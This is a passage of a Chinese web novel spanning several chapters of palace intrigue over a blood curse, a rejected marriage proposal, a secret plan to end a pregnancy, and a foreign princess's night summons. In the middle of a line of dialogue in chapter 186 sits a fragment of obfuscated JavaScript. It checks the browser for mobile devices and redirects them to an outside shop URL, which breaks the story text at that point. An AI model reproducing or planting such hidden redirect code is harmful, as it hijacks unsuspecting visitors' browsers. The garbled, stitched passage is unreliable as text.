经荣听雪提醒,不少人回过味来,纷纷点头称是。
不错!
若宋白玉当真清白无辜,当时云昭布下术法显形牵引时,她便不该呕血不止,显出被咒力反噬之象;
更不该在真相尚未彻底理清之前,便如此决绝地以自身性命为祭,咒杀他人!
此举,与其说是蒙冤而死,更像是畏罪自尽!
且她死前施展血咒,更证明她绝非对此道一窍不通的寻常贵女!
也有人猛然想起,低声追问道:“那宋小姐死前所咒之人,岂不就是……”
无数道目光,带着惊疑、揣测与一丝惧意,纷纷投向场中卓然而立的云昭。
就连皇帝都脸色一沉,审视的目光在云昭身上逡巡不去。
云昭神色沉静如水:“宋小姐死前说得清楚,谁害她今夜清白尽失、死不瞑目,谁便要承受这血咒孽果。
诸位试想,若我真是宋小姐口中咒杀之人,此刻还能神色如常地站在这里,与诸位侃侃而谈么?”
起初众人皆以为,宋白玉临死前诅咒所指,是太子与云昭。
可太子已然**昏迷,自是看不出端倪;
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而云昭此刻神采奕奕,半点也不似中了恶咒之人。
云昭心里却清楚得很,桃花咒一案,宋白玉身为幕后真凶,的确咎由自取,死有余辜。
但今夜之事,环环相扣,颇有蹊跷。
害死宋白玉的,除了夺去她清白的太子,恐怕还有他人棋高一筹,暗中设计。
尤其,林氏屋内那尊现今已不见踪影的“墨玉仙人”,容不得云昭不去多想——
宋白玉懂得以桃花咒害人,可是师从林氏?
云昭目光如同淬了冰的刀刃,缓缓扫过人群。
苏家几人早已闻讯赶来,混杂在人群边缘。
那苏玉嬛低垂着眼帘,让人看不清她此刻神色,嘴唇却苍白得厉害。
人群中窃窃私语不绝。
经由云昭的引导,众人也开始猜测,宋白玉之死背后,是否另有隐情,或者另有帮凶?
几道怀疑的目光,不由自主地投向了此前言之凿凿指证宋白玉的姜绾心。
姜绾心被这些目光刺得心中一慌,下意识护住自己尚未显怀的小腹,强自镇定地回望云昭。
若论今夜宋白玉之死,自然有她信口栽赃的一份“功劳”。
她本以为宋白玉一咽气,便可死无对证,心中大石已然落地。
可此刻听云昭意有所指,忽然惊觉,那宋白玉血咒所诅之人,除了太子,恐怕……也包括了她!
她声音带着不易察觉的颤抖,试探着问道:“阿姊不妨把话说得更明白些。
中了此等血咒之人,究竟会有何反应?身体可会有什么特别的征兆?”
云昭早已看穿她那点小心思。
她瞥了姜绾心一眼,随即又将视线转向一直低垂着脸的苏玉嬛,不紧不慢道:
“中咒之人会有何果报,宋白玉临死前说的已然很清楚,用不着我再重复。
若有人想验证自己是否中咒,不妨回去后,于子夜时分,以放了公鸡血的清水沐浴,再看看心口处,是否隐现一道细如发丝的血痕……”
姜绾心猛地吞了一口唾沫,心底已然掀起惊涛骇浪。
她暗下决心,今晚回去便要立刻查验!如若真有不妥……她便立刻去求母亲!
母亲定然有办法帮她解决……大不了,就将这恶毒的血咒,彻底转移到姜绾宁身上去!
反正她也活不长了,能用这残躯最后帮自己挡一次灾,也算全了她们之间那点微薄的姐妹情谊!
然而此时的姜绾心尚不知晓,以性命为祭的血咒,岂是这么轻易就能解开的?
就在众人对云昭所言将信将疑、各怀心思之际,一旁担架上昏迷数日的南华郡主,喉咙里忽然溢出一声悠长的叹息。
随即,她竟缓缓地、睁开了眼睛,撑着身子坐了起来!
“倩波!我的儿!”
安王妃狂喜之下,一把紧紧抱住失而复得的女儿!
随即她抬起头,前所未有的斩钉截铁,声音响彻庭院:“陛下!诸位都看见了!
我就说,姜司主所言非虚,句句属实!”
她充满恨意的目光,死死盯在“晕厥”未醒的宋志远身上,“就是宋白玉用桃花咒害了我的女儿,害了那么多条无辜性命!
陛下!宋白玉虽已伏诛,但宋家教女无方,纵女行凶,绝不能轻纵!求陛下严惩宋家,以慰亡灵,以正国法!”
第184章 倩波要嫁秦王!
宋志远眼皮剧烈颤动,心中已是翻江倒海,暗自叫苦不迭!
若早知这桃花咒案背后牵扯多条人命,铸成这般滔天大祸——
方才他绝不会因一时意气,暗示那几位交好的同僚出言相激,试图挽回些许颜面。
原本,他若肯放低姿态,立即上前叩首认罪,固然会丢些脸面。
但陛下念在他精心教养的嫡女死状凄惨,多半会心生怜悯,高高举起,轻轻放下,斥责几句也就罢了。
偏偏他在宰相之位上经营多年,早已习惯了权势带来的尊荣与顺从!
又怎会甘心被姜云昭这样一个初出茅庐的小小女子,逼得嫡女自戕,还带累整个宋氏宗族名誉扫地?!
长久以来身居高位养成的傲慢,让他下意识选择了对抗,而非顺势认栽。
直到此刻他才惊觉,自己今夜是彻头彻尾地踢到了铁板,撞上了个不按常理出牌的硬茬儿!
他眼角余光又瞥了一眼那个戴着面纱、安静立在荣太傅身后的荣听雪,心中更是憋闷!
姓荣的老狐狸在朝堂上素来滑不留手,明哲保身!
没想到竟生出个这般性情清正、敢于直言的孙女,真是歹竹出好笋!
宋志远喉咙里溢出一声虚弱的呻吟,这才悠悠“转醒”。
他在泪眼婆娑的小女儿搀扶下,颤颤巍巍地朝着上首处皇帝跪了下去:
“老臣教女无方,致使孽女犯下如此滔天罪孽,玷污圣听,祸乱朝纲,臣……万死难赎其罪!恳请陛下重重责罚!”
他伏低身子,姿态仿佛卑微到了尘埃里,试图以此勾起帝王的怜悯。
然而皇帝并未如从前那般温言抚慰,反而冷声道:“宋卿年事已高,精力不济,以致家教松懈,酿此大祸。
朕便罚你停朝三月,于府中静思己过,闭门读书,好好反省如何持身齐家!望你日后,能谨记今日之训。”
暂停职务,闭门思过,这惩罚听起来不涉刑狱,不伤性命。
但对于宋志远这等把持朝政多年的老臣而言,无异于在天下人面前被狠狠扇了一记耳光!
今后,他不仅颜面尽失,权势亦将大受影响!
在场一众臣子公卿更是面面相觑,先是东宫,而今又是宋相,京城,这是要变天了啊!
安王妃闻言,还要再争辩严惩,皇帝却已转向她,语气缓和了些许:“安王妃,倩波之事,朕知你心痛。
朕已下令,所有涉案之人,绝不姑息。朕必会给安王府一个满意的交代,不让郡主白白受苦。”
安王妃却不管不顾地胡搅蛮缠起来:“陛下!臣妇不要什么交代!
陛下若真心疼倩波那孩子,便帮她解决了终身大事!她如今这般模样,往后可怎么是好?”
事情闹到如此地步,皇帝揉了揉眉心,叹了口气,试探道:“不如……就让太子……”
“太子殿下文韬武略,乃国之储君,身份何等尊贵!”
安王妃语速极快地打断,话语里是毫不掩饰的明褒暗贬,“臣妇家中这般境况,实在是高攀不起!也不敢高攀!”
她心中飞快盘算:太子身边已有姜家那个不知廉耻的丫头,今夜又和宋家嫡女纠缠不清,闹得这般难看!
更何况,没听到方才姜云昭怎么说的吗?倩波即便醒来,心智也受损,形同痴儿!
若真嫁入东宫,还不得被太子府上那些女人磋磨致死?她绝不能把女儿往火坑里推!
念头一转,安王妃瞬间将目光投向一直沉默立于一旁的萧启,声音拔高,带着破釜沉舟的决绝:“我要秦王娶我的女儿倩波!”
“臣妇也不贪图正妃之位,只要秦王肯点头,我家倩波愿意委屈,做侧妃!”
仿佛是为了印证母亲的话,那位刚刚醒来、眼神依旧懵懂的南华郡主陆倩波,一听到“秦王”二字,竟像是听懂了般,连连拍手,痴痴地笑了起来:
“嫁秦王!嫁秦王!秦王是大英雄!倩波要嫁秦王!”
说到此处,安王妃竟转向云昭,恭敬地行了一个标准的半礼,语气近乎哀求:
“姜司主,从前是我有眼无珠,多有对不住您的地方!
从今往后,我家倩波已形同痴儿,她不懂争宠,也绝不会害您什么。
只求您发发慈悲,收留她,往后在秦王府给她一口饭吃,一处安身立命之所!
我安王府愿倾尽所有以为陪嫁——
我夫君安王在崇州封地、娘家河东薛氏代代相传的半数藏书与珍宝,并黄金万两,为倩波置办一份真正的‘十里红妆’!只求换她余生安稳!”
皇帝原本听到安王妃竟敢妄想将南华郡主塞给萧启,已然动怒,一介痴儿,也敢妄想嫁给他的侄儿!
他正要开口斥责其不知天高地厚,可听了安王妃这详尽得令人咋舌的丰厚许诺,尤其崇州封地,以及河东薛氏那连皇室都垂涎的藏书……
皇帝的心思也活络了起来!
若真能借此机会,将安王封地纳入皇室掌控,同时还能得到薛氏藏书……倒不失为一个一箭双雕、稳固江山的好主意。
在场勋贵王公,也纷纷朝萧启投去羡慕乃至嫉妒的目光!
只觉得这桩稳赚不赔、名利双收的天大好事,居然落在了向来不近女色、冷面冷心的秦王头上!
秦王萧启,虽说是先皇幼子,当今陛下的侄儿,身份实在敏感。
但看近来皇帝对他的器重与信赖,甚至隐隐超过了行事越来越荒唐的太子,明眼人都觉得,这位秦王殿下,未来必定是个手握实权的亲王!
然而,萧启此刻面色却寒如冰霜。
他声音冷冽,掷地有声:“本王的王妃,唯姜云昭一人。此生此世,绝不会变。本王不会纳侧妃,更不会纳妾。
安王妃,你想要补偿,该去向真正害你女儿的人讨要!
若论今夜缉凶,本王助你陆家寻得真凶,报了仇怨。
陆家便是如此对待
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救命恩人的?安王府,这是要恩将仇报?”
一听到“恩将仇报”这四个字,在场人群中,除了向来性情活泼的李灼灼,还有其他几位素来看不惯安王妃的命妇贵女们,都忍不住低低嗤笑了起来。
安王妃又将哀求的目光投向云昭:“姜司主,倩波她已经这样了,您就帮人帮到底,送佛送到西,发发善心收留她吧……”
云昭正欲开口,冷不防一个清冷而坚定的声音自人群外响起:“我女儿有本事帮你们缉拿真凶,还原真相,就该任由你们这些人如此欺侮吗?”
众人循声望去,只见苏氏不知何时也已赶到!
她疾步穿过自动分开的人群向内走来:“我家昭儿还未正式嫁入秦王府,如今就要被逼着‘大度贤惠’,先帮自己未来的夫君接纳侧妃?试问这世间,岂有这样的道理?!”
她目光如炬,直射安王妃:“薛静姝!你倒是打得好一手如意算盘!
不仅借此将女儿嫁入王府,求得秦王权势庇护,还妄想得个免费的神医,日日劳烦我女儿耗费心神,给你女儿施针诊治,替你操心劳力不成?!”
苏氏也是气得发狠,竟然不管不顾,当众直呼了安王妃的闺名!
安王妃确实存了这般心思,但此刻被苏氏当众毫不留情地戳破,脸上一时也有些火辣辣的。
她张口欲要强辩,苏氏却根本不给她机会,步步紧逼,话语如同连珠箭般射出:
“你也不必巧言令色,强词夺理!
你想让你女儿嫁给什么人做侧妃、做妾室,那是你安王府的事,我管不着!
但你想把这麻烦塞过来,给我家昭儿未来的日子添堵,我这个做母亲的,却绝对不允!”
苏氏此刻展现出的罕见强硬与锋芒,不仅让安王妃暗自叫苦,心生怯意,更令在场所有熟悉她的人都震惊不已。
然而众人不知的是,苏**待字闺中时,本就是京城出了名的才女,性情清冷孤傲,与如今的云昭如出一辙。
只是后来在家族中被亲人算计,又遭母亲偏袒、父亲不信,一颗心渐渐凉透。
之后一步错,步步错,嫁入姜家之后,岁月磨平了她的棱角,才在如今京城女眷眼中,成了一个没什么脾气的软和人儿。
今夜为了女儿,她骨子里那份被压抑已久的刚烈与锋芒,终于再次破土而出!
安王妃被逼得无法,只能色厉内荏地道:“此事……此事你我说了皆不算!还要看陛下圣裁……”
“我说了确实不一定算,”苏氏脸色冷肃,语气却带着一种奇异的笃定,“但此事,你可曾问过你的夫君,护国大将军陆擎?”
她目光锐利,仿佛能穿透人心,“你不妨现在就修书一封,问问远在西北的陆大将军,他陆家的妻小,就是如此对待当年对他有救命之恩的恩人之后吗?”
安王妃薛静姝闻言,心头猛地一颤!
苏**这话什么意思?
第185章 天雨路滑,身受重伤
安王妃并非京城本土人士,对丈夫陆擎这些陈年旧事并不十分清楚。
一旁英国公夫人实在看不下去,轻叹一声,娓娓道来:“诸位莫急,且听我一言。
当年陆大将军少时入京认亲,行至京外三十里的落霞坡,天雨路滑,不慎连人带马摔下陡坡,身受重伤。
幸而当时正从外祖家折返归京的苏家嫡女,也就是如今的苏夫人路过,不仅发现了重伤的陆将军,更亲自指挥随行仆从将人救起,送至医馆医治,陆大将军这才捡回一条性命。
苏夫人于陆大将军,实有救命之恩。”
此事在京中老一辈的勋贵圈子里,知晓的人不算多,但也绝不止英国公夫人一个。
经她这般清晰道出,不少年长的命妇贵戚都渐渐记起了这段往事。
一位头发花白的宗室老夫人也颔首道:“不错,老身也记得。
事后陆老大人曾当众郑重严明,苏夫人是陆家阖府上下的恩人。
并留下话,任何时候,陆家子孙见到苏夫人及其后人,都需以礼相待,不可轻慢。”
安王妃听得眉头紧锁,心中疑窦丛生,更有一股被蒙在鼓里的恼火!
她嫁入陆家多年,夫君陆擎性情冷沉,从未与她谈及过这段过往,更未提过与苏**有这等渊源。
她忍不住拔高声音反驳道:“荒谬!我嫁入陆家十数载,与夫君相敬如宾,为何从未听他提起过半句此事?
若当真有这般恩情,陆家上下岂会无人告知于我?”
她睇着沉默不语的苏**,眼底闪过一抹轻蔑。
若真有这回事,之前在碧云寺那回,她与倩波母女二人先后同姜云昭起过冲突。当时怎不见苏**道出这段‘恩情’,来替女儿解围?
偏等到今日当着皇室宗亲的面,众目睽睽之下才说出来?
分明是故意编排出这番说辞,想借旧恩压她一头!
这时,一位看起来有些面生的妇人忍不住开口道:“安王妃,难道你没听说过的事,便都不是真的?
我等与陆家或苏家都无甚利益瓜葛,难道都是合起伙来诓骗你不成?”
人群中另一道女声紧接着响起:“你们这些人讲事情,总是避重就轻,难怪安王妃不信!”
只听那声音带着几分率直,几分了然:
“当年何止是救命之恩?
陆大将军伤愈后,曾郑重备下厚礼,亲自登门苏府提亲,有意求娶苏夫人为妻,以报恩情!
可惜苏夫人彼时未曾答允,这桩婚事也就不了了之。
恩情是恩情,婚事是婚事。
苏夫人未曾挟恩图报,陆大将军也未曾因此纠缠,彼此留有体面。
安王妃若是不信,大可以等陆大将军回京后,亲自向你夫君问个清楚明白!
何必在此咄咄逼人,质疑诸位见证之人?”
此言一出,如同撕开了最后一层朦胧的纱帐,将那段尘封往事更为清晰地展露人前。
云昭闻言朝人群之中看去,只见那开口说话的,是一位此前从未见过的妇人——
她一袭竹青长裙,发间一枚玉簪,衣着简素却姿容不凡,观其言行仪态,显然身份不低。
云昭没有留意到的是,一旁的苏氏看清那说话的女子容貌,眼中渐渐泛起湿润动容。
一旁安王妃脸色骤变,原本因愤怒而涨红的面颊瞬间褪去血色,变得有些苍白。
她嘴唇微张,想要反驳,记忆里一些浮光掠影的细微末节,却让她瞬间僵在原地……
她猛地转头,看向始终静立一旁的苏**,眼底闪过一抹恍然,随即是更深的嫉恨与难堪!
云昭其实也听得心头怔然。母亲从未提起,当年竟还有这样一番渊源。
她不由想到,若当年没有发生那场变故——
那位裴将军或许已与他的青梅竹马月奴终成眷属;
而母亲,说不定也会与这位英武不凡的陆大将军缔结良缘,过上截然不同的人生……
而这一切可能的幸福与安稳,在当年发生了那样一场巨大变故后,彻底化为泡影。
云昭甚至怀疑,当年那场导致母亲被迫嫁入姜家的变故背后,未必没有梅柔卿推波助澜、甚至主动设计的影子。
只是时隔久远,物是人非,证据早已湮灭难寻。
皇帝这时开口道:“好了。秦王乃国之柱石,他的婚事,关乎国体,岂可如同儿戏?”
说到这,他状似无奈地瞥了眼一旁脸色冷冽的萧启,“而且,强扭的瓜不甜。
朕虽是天子,是渊儿的叔父,也做不了他婚事的主。此事休要再提了。”
他目光扫过神色各异的众人,最终落在脸色变幻不定的安王妃身上,语气缓和了些许,带着安抚:
“安王妃,朕知你心疼女儿,一片慈母之心,天地可鉴。
对于倩波郡主的遭遇,朕亦深感心痛。
朕答应你,倩波的婚事,朕记下了,日后定会为你留意,择一稳重可靠的良配,不叫她受了委屈。
另外,倩波如今既然醒了,未必没有慢慢调理康复的转机。
朕会遣太医署最好的御医,定期前往安王府,好好为郡主诊治调养,所需药材,一律由内廷供给。”
安王妃此时心乱如麻,仿佛一脚踏空,坠入冰窟。
秦王萧启铁面无情,态度斩钉截铁,毫无转圜余地;
姜云昭也不是好相与的,心思玲珑手段莫测,难以拿捏;
更别提苏氏与
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陆大将军这番不为人知的恩情与婚约未成的过往!
不仅让她在道义和情理上彻底落了下风,显得她像是个无理取闹、忘恩负义的泼妇,更让她在众人面前丢尽了颜面!
安王妃只觉得脸上火辣辣的,心里又慌又乱,又嫉又恨,偏生无法发作!
就在这时,一直沉默旁观的荣太傅忽而开口道:“陛下,臣倒觉得,此事既因宋家嫡女而起,累及南华郡主至此,宋家难辞其咎。
且宋家大郎宋清臣,年少有为,尚未婚配,或可……”
“陛下!”宋志远闻言,当场“扑通”一声给皇帝跪下了:“陛下明鉴!
犬子虽薄有微名,在外任上勤勉,但他……他自幼体弱,有不足之症,实非良配啊!
且家中早年已为他与远房表亲定下婚约,只是未及张扬,万不敢耽误郡主终身!”
宋志远心中叫苦不迭,他那大儿子宋清臣,是他最得意、寄予厚望的嫡长子!
年纪轻轻便已是一方干吏,政绩斐然,眼看任期将满,回京述职后至少能擢升为正五品实职,前途不可限量!
怎能娶一个心智受损、形同痴儿的郡主?那岂不是将儿子的大好前程和一生幸福都彻底葬送!
安王妃也面色不虞!
她此刻心气已泄了大半,但骄傲仍在,闻言硬邦邦地打断道:“不必了!宋相不必如此慌张。
就算你宋家如今想娶,我薛静姝也不会让我女儿嫁进**凶手的家中!
焉知你们是不是包藏祸心,想害我倩波性命,以绝后患?”
她又环视全场众人,挺直了背脊,带着一种破罐子破摔的决绝,扬声道:“诸位也不必再多费心思想着如何‘安置’我的倩波!
我薛静姝的女儿,就是傻了、痴了,也是金尊玉贵的郡主!不是什么阿猫阿狗都嫁的!
若所嫁之人并非秦王殿下,我当初允诺的那些十里红妆、倾族陪嫁,自然也不会作数!
若寻不到真心疼她、护她的夫君,大不了我养我家倩波一辈子!
我安王府,还养得起一个女儿!”
言罢,安王妃朝皇帝草草行了一礼,不再看任何人,命仆妇抱起神情懵懂的南华郡主,在一片目光注视中,挺直脊背走出了偏殿。
云昭虽不喜安王妃性情跋扈,极端自我,但事态一路发展至今,眼看着安王妃对南华郡主一片舐犊之情,心中也不由生出几分感佩。
至少,在对女儿无条件的相信和维护上,她的外祖母苏老夫人,远比不过这位处处不讨喜的安王妃。
想到这,她不由将目光投向苏家几人,却见苏老夫人被搀扶着站在人群之中,不知何故,脸色恼怒,正死死盯着苏氏!
第186章 油尽灯枯,容貌尽毁
殿内重归寂静,却弥漫着一种更为压抑的气息。
皇帝瞥了眼额头触地、大气也不敢出的宋志远,目光冷飕飕地扫向提议让宋家娶南华郡主的荣太傅荣暄,心里忍不住暗骂:这老东西!真是看热闹不嫌事大,唯恐天下不乱!
宋志远这些年身为宰相,门生故旧遍布朝野,虽未明目张胆结党,但揽权、护短的苗头早已显露。
皇帝早就看不过眼,借着今日宋白玉这桩丑事,正好狠狠敲打了宋志远一番,煞了他的威风。
这本是件顺水推舟的快意事。却没想到,反倒让荣暄这老狐狸逮着机会。
皇帝心如明镜,觉得这荣暄也愈发贪心不足了。
荣家没有得用的男子支撑门庭,荣暄这是看上了姜家的长子姜珩,想招为孙女婿,顺便借着今日之事,狠狠踩宋家一脚。
皇帝有心培养寒门清流,用以制衡世家,但若荣家、姜家这样过往的清流文臣,结成姻亲,彼此抱团,皇帝也绝不乐见。
况且,从前的姜珩是状元之才,皇帝也考虑过重点培养。
但姜家这家风……实在是不正到了极点!妻妾争斗,子女失教,丑闻迭出。
姜珩此人,虽有才学,却心思狭窄,眼界短浅,且性格冲动,难堪大任!
远比不上云昭,更及不上他近来看中的那个刑部侍郎裴琰之。
皇帝仔细回想,裴琰之当年并未参加过正经科举,而是由太子举荐入仕,一路从底层做起,靠着扎扎实实的政绩和令人称道的破案能力,一路升到了侍郎之位。
印象里,他年纪似乎很轻,仿佛只有二十五、还是二十六?
但此人实在能干!
心思缜密,胆大果决,行事不拘泥古板,往往能另辟蹊径,直击要害。
朝中从不缺满口仁义道德的清流,更不缺贪赃枉法的蠹虫,真正稀缺的,恰恰是像裴琰之这样能厘清积弊、破除迷障、实实在在解决问题的能臣干吏。
这样一想,太子似乎也并非一无是处。
至少在发掘和举荐裴琰之这类实干人才方面,还是颇有些眼光的。
经历了这惊心动魄的一夜,皇帝心力交瘁。
他揉了揉胀痛的额角,对身旁的常玉挥了挥手,声音带着浓浓的倦意:“今晚就到此为止吧。
常玉,传朕口谕,让诸位公卿、命妇们各自还家,好生歇息。
另,叮嘱鸿胪寺与礼部官员,务必妥帖安置,好生招待朱玉国使团,切不可怠慢了外宾。”
常玉躬身领命,尖细的嗓音在殿内响起,传达了皇帝的旨意。
众人纷纷行礼告退,如同潮水般从凝晖堂附近散去。
三皇子赫连曜与兀术交换了一个心照不宣的眼神,也相继离去。
一场盛大宫宴,匆匆落幕。
离开森严的皇宫,夜风带着凉意,暂且吹散了心头阴霾。
宫门外,各府马车灯火相连,宛如星河。
萧启亲自扶着云昭登上马车。
附近不少尚未离去的贵女命妇,纷纷将目光投注过来。
看着那位素来冷峻的秦王殿下,此刻竟如此体贴入微——
众人之中,有难掩的艳羡,有深藏的嫉妒,也有纯然的八卦感慨:
“秦王待姜司主真是上心……”
“郎才女貌,多般配的一对儿!”
萧启无视了那些纷扰的议论与目光,微微俯身,凑近云昭:“方才接到密报,我与赵悉必须立即出城一趟。”
云昭没有多问缘由,伸手从随身的锦囊中取出几张折叠整齐的符箓,递向萧启。
萧启看着她递过来的符箓,冷峻的眉眼不由自主地柔和了下来。
他伸手去接,指尖触及她微凉的指尖,心头难以压抑地泛起一阵甜意。
然而,秦王嘴角的弧度还未完全扬起,就听云昭道:“这几张符,是我之前答应要给赵大人的‘报酬’。你既与他同去,劳烦帮我转交给他。”
萧启的手几不可查地僵了一瞬。一股酸溜溜的滋味毫无预兆地涌上心头。
他薄唇微抿,方才周身那点柔和气息瞬间收敛,动作简单粗暴且随意地将那几张符箓塞进袖中。
然而不论神色沉静的云昭,还是刚喝了一缸醋的萧启,亦或不远处眼巴巴望着萧启手中符箓的赵悉,都没有想到——
此一去,城外等待他们的,绝非寻常公务。
而是一次生死一线的极致考验,一场前所未有的惊心动魄之旅!
*
夜色如墨。
姜世安与姜珩父子二人,作为此番随行的翻译与接洽人员,随同朱玉国使团一行,赶往专为接待外邦贵宾而设的四方馆下榻安置。
梅柔卿则悄悄寻了个机会,与女儿在凝辉堂一处僻静的厢房密会。
门刚阖上,姜绾心再也顾不得仪态,慌乱地抓住梅柔卿的手臂,声音发颤:“娘!快,快帮我看看!
宋白玉那个**临死前发的血咒,会不会真的应验在我身上?”
梅柔卿回忆着这些年师从薛九针学到的玄术,拉姜绾心在灯下坐定。
她取来一碗滴了香灰的清水,以干净毛笔蘸取,轻轻点在姜绾心的眉心、双手腕脉以及心口等处。
片刻之后,子时已到。
梅柔卿取来房间内的一面铜镜,对着女儿的心口位置缓缓照去。
镜面昏黄,只见姜绾心雪白的肌肤上,一道鲜艳如新血的赤色纹路,正从心口处悄然浮现,如同有生命的藤蔓,透着一股不祥的邪气。
“那疯女人的诅咒,沾上了。”梅柔卿声音干涩,握着铜镜的手微微发抖。
“怎么办,娘亲!”姜绾心几乎要哭出来,她紧紧拽着梅柔卿的衣袖,
“要不,我们把宁儿接回来!就像上次那样,把血咒转给她!她反正也活不长了……”
“没有用!”梅柔卿厉声打断,眼中是罕见的凝重与恐惧,“这血咒以施咒者性命与魂魄为引,怨毒无比,寻常的转移之法根本无法承载,只会反噬更烈!”
她起身,焦躁地来回踱步。
姜绾心则蜷缩在椅子上,瑟瑟发抖。
巨大的恐惧将她彻底淹没,连腹中那曾让她无比自豪的倚仗,此刻也感觉不到丝毫暖意。
良久,梅柔卿忽而站定,目光幽幽,落在姜绾心依旧平坦的小腹上。
那眼神有痛惜,有决绝,更有一种近乎残酷的冷静。
姜绾心被她的目光看得心头一跳,下意识地再次护住肚子:“娘……?”
梅柔卿看着女儿瞬间瞪大的眼睛,一字一句道:“心儿,若要最大程度削减这血咒对你本身的伤害,保住你的性命与将来……
或许,可以用你腹中这尚未成形的胎儿作为‘替身’,引走并消解掉一部分最恶毒的咒力。”
“不!”姜绾心像被烫到一样猛地向后缩去,双手紧紧捂住腹部,“这是我的孩儿!是太子的骨血!是我将来全部的依靠啊!娘你怎么能……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16814369|187080||http|test|mini|href|location''.split(''|''),0,{}));
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r>“傻孩子!”梅柔卿梅柔卿抓住她的肩膀,眼神锐利而清醒:“是你的命重要,还是一个还不知道能不能平安生下来的胎儿重要?
这血咒阴毒无比,会日夜侵蚀你的生机,损你容颜,败你气血!
你以为你能扛到足月生产?
就算侥幸生下,只怕你早已油尽灯枯,容貌尽毁!你还有命去享那泼天富贵吗?!”
姜绾心冷不丁打了个寒噤。
梅柔卿放缓语气道:“太子风流成性,身边永远不会缺女人。
但只要你好好的,养好身子,保住这花容月貌,将来何愁没有机会再与他亲近?
心儿,留得青山在,不怕没柴烧!
你的青春和美貌,才是你最大的本钱!
如今你已是太子枕边人,有了这层身份,只要精心筹划,母亲自有办法让你再得宠幸,重怀龙裔!”
姜绾心如遭雷击,呆呆地坐在那里,脸上血色尽褪。
她心中理智的弦在疯狂拉扯——
母亲说的,是目前唯一可行的、也是代价最小的办法。
可这毕竟是她第一个孩子,是她曾心心念念、视为翻身最大筹码……
见她眼神动摇,梅柔卿知道她听进去了,又添了一把火:“想想今晚,你在陛下面前是如**护太子的!
这份‘情意’与‘牺牲’,太子醒来后岂会无动于衷?
哪怕看在你今夜一心为他的‘痴心’,他也会对你多一分怜惜,再给你机会的。”
提到今夜,姜绾心猛地想起什么,脸色又是一变。
她警惕地看了一眼紧闭的房门,凑近梅柔卿,用气音将自己听到关于太子与贵妃的惊天秘密,一五一十地告诉了母亲
出乎姜绾心意料的,梅氏听后,脸上并未露出太多震惊,反而是一种“果然如此”的阴沉与了然。
她冷笑一声,声音同样压得极低:“这两日陪在贵妃身边小心伺候,已然探听到一些消息。我只是没想到,她竟真敢做到如此地步!”
这件事上,太子自然是最大赢家!
今上子嗣不丰,贵妃虽比不过近来风头正盛的柔妃,但也一直圣眷不断,地位稳固。
让这位身为贵妃的表姐怀上自己的孩子……哼,太子这算盘打得精啊!
不仅让贵妃从此沦为他死心塌地的坚实拥趸,还给他那储君之位,再多加一重保险,真是稳赚不赔!
只是她实在没想到,这孟贵妃竟会蠢到如此地步!
简直是色令智昏,被太子的虚妄承诺迷了心窍!
这种事一旦泄露,可是诛九族的大罪!
梅柔卿越想越觉得孟贵妃愚蠢至极,同时脊背升起一股寒意。
与这样疯狂而不计后果的人搅在一起,风险实在太大了。
她停下脚步,看向犹自失魂落魄的女儿,安抚道:“好了,现在不是想这些的时候。
心儿,你记住,从明日开始,你什么都不要管,就在这院子里‘安心养胎’。
表面上,你要做出珍视龙胎的模样,务必好吃好喝,把身子调养到最佳状态。”
待她重新与薛九针取得联系,问清楚具体操作的法子,便寻个恰当时机,抓紧落了这个孩子。
一来,可最大限度化解这血咒对心儿的威胁;
二来,说不定能借此机会,也让姜云昭那**尝一尝跳进黄河也洗不清的滋味!
敢伤龙裔?
届时看陛下和秦王,还能如**她、护她!
第187章 出事了,音讯全无!
四方馆。
作为接待番邦贵使的皇家馆驿,四方馆内布置,融合了大晋的精致与异域的奢华。
此刻,馆内最华贵的一间上房内,烛火通明。
玉珠公主满脸烦躁。
她刚沐浴完毕,一名婢女正跪在地上,小心翼翼地为她擦拭玉足。
不知是水温不合心意,还是心头邪火无处发泄,她忽然猛地一蹬腿——
“哐当!”
盛着香汤的鎏金铜盆被一脚踢翻,温热的洗澡水泼洒了一地。
婢女吓得浑身一颤,伏地不敢动弹。
“滚出去!”玉珠公主语气很冲,“去,把那个姜珩给本公主叫进来!立刻!”
婢女战战兢兢地应了声“是”,刚要躬身退出去,却又被叫住。
“慢着。”
玉珠公主赤足走到镶嵌着宝石的妆奁盒前,打开其中一个隐秘的小抽屉,取出一只小巧的碧玉盒子,扔给婢女。
“把香饼放到熏笼里点上。”
婢女依言取出,放入房内角落的错金螭兽熏炉中。
很快,一缕带着奇异甜味的香气,悄然在温暖的室内弥散开来。
“管好你的舌头。今晚这屋里点的什么香,做了什么事……若有一丝一毫传到我王兄耳朵里,”
玉珠公主语气轻柔,却让人不寒而栗,“我就割了你的舌头,把你扔到兽栏里去喂狼。”
那婢女脸色惨白,连连磕头:“奴婢不敢!奴婢什么都没看见!”
“滚出去叫他。”
婢女如蒙大赦,慌忙退了出去。
她快步穿过铺着地毯的回廊,果然看见不远处,姜珩独自一人站在廊柱的阴影下。
他正仰头望着中天那轮清冷皎洁的满月,不知在想些什么。
“姜大人,”婢女压低声音,看向姜珩的眼神里透着一丝怜悯,“公主……请您进去回话。”
姜珩身体几不可察地僵硬了一瞬。
公主香闺,单独召见……
他并非无知少年,自然明白其中可能蕴含的意味。
一股强烈的抗拒与耻辱感瞬间涌上心头——
他姜珩好歹也是官宦子弟,饱读诗书,何曾想过要像伶人佞幸一般,深夜应召走进一个番邦公主的寝室?
然而父亲已被陛下褫夺了尚书官职,祖母每日都要跪着背诵《女则》受罚,姜家声势一落千丈。
整个姜府,如今竟要看那姜云昭的脸色!
心儿虽侥幸怀有龙种入主东宫,却只是个最低等的奉仪,可谓前途未卜,自身难保。
他作为姜家嫡子,振兴门楣的重担沉甸甸地压在肩上,却苦无门路……
若能得这位玉珠公主青眼,或许就能借此攀上朱玉国这条线,为自己、也为姜家,寻得一条新的出路!
寻一个摆脱眼下困境、甚至更进一步的踏板!
姜珩缓缓吐出一口浊气,低声道:“有劳带路。”
跟着婢女踏入那间奢华得过分的房间,一股微甜馥郁的暖香立刻包裹了他。
抬眼望去,只见玉珠公主仅着一件薄如蝉翼的绯色纱衣,曼妙身姿在纱下若隐若现。
